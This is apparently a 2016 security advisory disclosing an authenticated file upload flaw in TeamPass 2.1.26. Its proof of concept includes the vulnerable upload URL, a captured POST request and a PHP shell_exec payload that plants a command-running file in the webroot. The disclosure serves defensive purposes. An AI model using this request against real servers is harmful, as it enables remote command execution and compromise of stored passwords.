Teampass 2.1.26 Arbitrary File Upload

`Document Title:  
===============  
Teampass 2.1.26 - Authenticated File Upload Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1866  
  
  
Release Date:  
=============  
2016-07-06  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1866  
  
  
Common Vulnerability Scoring System:  
====================================  
7.2  
  
  
Product & Service Introduction:  
===============================  
TeamPass is a Passwords Manager dedicated for managing passwords in a collaborative way on any server Apache, MySQL and PHP.  
It is especially designed to provide passwords access security for allowed people. This makes TeamPass really useful in a   
Business/Enterprise environment and will provide to IT or Team Manager a powerful and easy tool for customizing passwords   
access depending on the user’s role.   
  
(Copy of the Homepage: http://teampass.net/ )  
  
  
Abstract Advisory Information:  
==============================  
An independent vulnerability laboratory researcher discovered a file upload vulnerability in the official Teampass v2.1.26 web-application.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-07-06: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
High  
  
  
Technical Details & Description:  
================================  
A file upload vulnerability has been discovered in the official Teampass v2.1.26 web-application.  
  
The vulnerability allows authenticated users with low privileged accounts to upload files to the /files directory in the webroot.   
There are no filters present which checks the file extensions or contents for the files.  
  
  
Proof of Concept (PoC):  
=======================  
Any authenticated user can upload files to the /files directory in the webroot, even low privileged users with only read-only rights can exploit this vulnerability.  
  
Files can be uploaded by visiting http://localhost/TeamPass/sources/upload/upload.files.php?PHPSESSID=x&name=poc.php and content can be inserted with a POST request.  
  
--- PoC Session Logs [POST] ---  
Status: 200[OK]  
POST http://localhost/TeamPass/sources/upload/upload.files.php?PHPSESSID=x&name=poc.php  
Request Header:  
Host: localhost  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.5.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Cookie: 157b783184cb1aa6ce3495511a879057e70d3f561f2c8d47d6=e7ea2ef5da03812806df888810bd2c671a8b8ec4b6e8e3e673;   
KEY_PHPSESSID=P4khaxdq8UTAwyOcJX5qnUYdytv6y%2BVGpcvHwunzTVQ%3D%3A3VQCIK2PC1Sa703MrzE6M%2BUFe4IpAM6AtGPUkqtMsag%3D; PHPSESSID=9q68v86v6k62l224m0419024k6; jstree_select=1  
Connection: keep-alive  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 36  
If-Modified-Since: *  
  
POST DATA:  
<?php echo shell_exec('uname -a');?>  
  
  
The file will be placed in the /files directory which is http://localhost/TeamPass/files/poc.php in the PoC above.  
  
  
Solution - Fix & Patch:  
=======================  
Update to the latest Teampass version (2.1.26/4).  
  
  
Security Risk:  
==============  
Thanks to this vulnerability it is possible to upload a shell and execute commands with the priveleges of the webserver process. (CVSS 7.2)  
  
  
Credits & Authors:  
==================  
Peter Kok - [http://www.vulnerability-lab.com/show.php?user=Peter%20Kok]  
  
  
Disclaimer & Information:  
=========================  
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